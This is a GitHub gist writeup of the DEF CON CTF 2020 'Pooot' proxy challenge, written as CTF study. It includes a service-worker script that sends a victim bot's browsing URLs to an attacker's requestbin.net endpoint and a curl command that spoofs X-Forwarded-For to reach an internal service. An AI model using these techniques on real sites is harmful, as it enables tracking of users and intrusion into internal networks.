Skip to content

Instantly share code, notes, and snippets.

@nerder
Last active May 19, 2020 12:54
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save nerder/aaadefee9f0e2a17034cb5abd9b86eed to your computer and use it in GitHub Desktop.
Save nerder/aaadefee9f0e2a17034cb5abd9b86eed to your computer and use it in GitHub Desktop.

DEF CON CTF Qualifier 2020 - Pooot Writeup

This challenge was about an In-Browser web proxy, that allows you to navigate the web “safely”. They also offer a feedback system in which you can report broken links. This immediately makes us thinking about some kind of bot that we should phish and steal some cookies with an XSS.

It wasn’t that easy 😃

No code was provided at first, but was easy to find in the commented html of the page:

<!-- <a href="/source"></a> -->

As soon as we opened the code, it was clear that it was a Flask app, that was using a Redis queue to run a worker to visit the feedback you report.

This was the initial code (or maybe the second version of it, they updated it couple of times without any notice. Not nice! 😥)

@app.route('/<string:domain>/<path:path>')
@app.route('/<string:domain>')
def proxy(domain, path=''):
  protocol = "https"
  if request.headers.getlist("X-Forwarded-For"):
    client_ip = request.headers.getlist("X-Forwarded-For")[0]
  else:
    client_ip = request.remote_addr

  if isIP(domain):
    protocol = "http"
    if client_ip != "172.25.0.11":
      app.logger.error(f"Internal IP address {domain} from client {client_ip} not allowed." )
      return "Internal IP address not allowed", 400

  try:
    app.logger.info(f"Fetching URL: {protocol}://{domain}/{path}")
    response = get(f'{protocol}://{domain}/{path}', timeout=1)
  except:
    return "Could not reach this domain", 400
    
  content_type = response.headers['content-type']
  if "html" in content_type:
        # Here there was some noisy code that does some html manipulation.
        # Nothing really interesting too look here.
  else:
    content = response.content
  return Response(content, mimetype=content_type)

The interesting bit here is the X-Forwarded-For header to make the proxy visit an IP (especially an internal one to do some nasty SSRF) you need to either be 172.25.0.11 or make the API thinks so bypassing the header. We start wondering who was this 172.25.0.11. Now moving on the feedback endpoint, at some point they add a constraint in the code that was checking for domains that start with 172.25 so we were not able to report such domains. (we don’t really understand why they did this tho 😕).

This instad was the initial code of the feedback endpoint:

@app.route('/feedback', methods=['GET', 'POST'])
def feedback():
  form = FeedbackForm()
  if form.validate_on_submit():
    flash('Feedback form submitted {}:{}'.format(
        form.problem.data, form.url.data))

    url = re.sub(r'http[s]*://', '', form.url.data)
    job = q.enqueue(
      worker,
      url
    )
    app.logger.info('Reported URL: %s' % (form.url.data))
    return redirect('/')
  return render_template('feedback.html', title='Feedback Form', feedform=form)

Nothing really interesting here, they simply add in the Redis queue the URL to be visited by the worker which we suppose it was the bot.

Now getting into the exploitation part here, the main idea is the fact that since you can visit any webpage under their domain, this was tricking the browser into neglect any Same-Origin policy protection that It should have out of the box, so you were able to execute javascript that can do pretty much everything under Welcome to Pooot.

The challenge wasn’t very clear in his intent, so even if we had a way to make the bot executing any javascript under the Same-Origin and Secure Context, we didn’t have an idea of what to do with that. We thought about installing a serviceWorker (remember this one 🧐), we thought about stealing the csrf_token to make the bot do some POST requests, we though about leaking the internal IP of the bot using a WebRTC API ( https://bugzilla.mozilla.org/show_bug.cgi?id=959893 ). At some point, we were even thinking of some browser exploits like a well-known sandbox escape + RCE. After finding out that the bot was using the last version of Chrome Headless, we thought if we should use our 0day to exploit that ( it’s a joke 😂). Our last attempt before giving up was some CORS bypassing using https://cors-anywhere.herokuapp.com/ but even here, no luck.

At the end, summing up, we guessed that there was some internal IP that we should be able to visit to get the flag, but since we have no indication (nor in the code nor the chall description) of where we should look for this information, considering the possibilities we had in guessing the right internal IP with the right port ( ~4M tries, no thank you) and the fact that we were exhausted after wasting +10h on this we just decide to give up waiting for a write up to illuminate us.

Intended solution

After the competition ends we finally can learn the intended solution, which was to smuggle the HTTP requests of the bot, since he was visiting the website you give him to, but also the flag. Our reaction was kinda 🤨, how we were supposed to think about that!

But anyway, since we learn something I’ll write down the code for the intended solution, other teams might have solved in different ways. I heard that the Chrome DevTools remote debugger was left open, and also that somebody was able to leak so GCloud keys from a related server, but that was indeed a legit issue outside the CTF scope 😅

So one possible way of doing that is to install a Service Worker in the victim browser (we had this idea!). Install a service worker give you the power of controlling the network of the browser victim, being able to listen to all the fetch events that happen under such domain. Of course, you can’t simply install a Service Worker from one website to another under normal circumstances. But in this case, it will work because as we said before, we respect the Same-Origin policy being the website the bot visits something like: https://pooot.challanges.ooo/sneaky_website.com so the browser legitimately thinks that this is simply a path of https://pooot.challanges.ooo/ so same Secure Context.

Now getting into the code, that was fairly simple, you should simply host in one of your controlled websites 2 files., one for the registration of the serviceWorker and the other with the actual service worker code, in which you will listen for the fetch event and smuggle out the visited URL into another of your controlled services (we use requestbin.net for that):

index.html

<html>

<body>
    <script>
        navigator.serviceWorker.register('/YOUR_WEBSITE_DOMAIN/sw.js', { scope: '/' })
            .then((reg) => {
                console.log('SW registered')
            });
    </script>
</body>

</html>

sw.js

self.addEventListener('install', event => {
    fetch(`https://pooot.challenges.ooo/requestbin.net/r/1bcsgvj1/sw_installed`)
        .then(data => console.log(data));
})

self.addEventListener('fetch', event => {
    fetch(`https://pooot.challenges.ooo/requestbin.net/r/1bcsgvj1/sw_fetch_${event.request.url}`)
        .then(data => console.log(data));
}); 

Now we simply need to submit our website into the feedback form, wait for the service worker to get registered into the bot browser and for the fetch request to happen on the service that was exposing the flag.

http://requestbin.net
GET /r/1bcsgvj1/sw_fetch_https://pooot.challenges.ooo/172.25.0.102:3000

And here we have it https://pooot.challenges.ooo/172.25.0.102:3000

We all need to do now is simply curl that service and get the flag:

Defcon2k20/pooot via 🐍 system
➜ curl -k -H "X-Forwarded-For: 172.25.0.11" "https://pooot.challenges.ooo/172.25.0.102:3000"

OOO{m3lt1ng_p0t_of_s3cur1ty_0r1g1n5}%

Conclusion

Even if we didn’t solve the challenge. It was a nice exercise and we learn many new cools tricks. This was not the best though of the challenges and was involving a little bit of guessing which is not ideal, but considering the amount of work and efforts the organizers put in creating this challenges, maintaining them alive with literally thousands of hackers trying to attack them, there is really nothing we should complain about.

Thank you so much for reading this, hope it was helpful.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment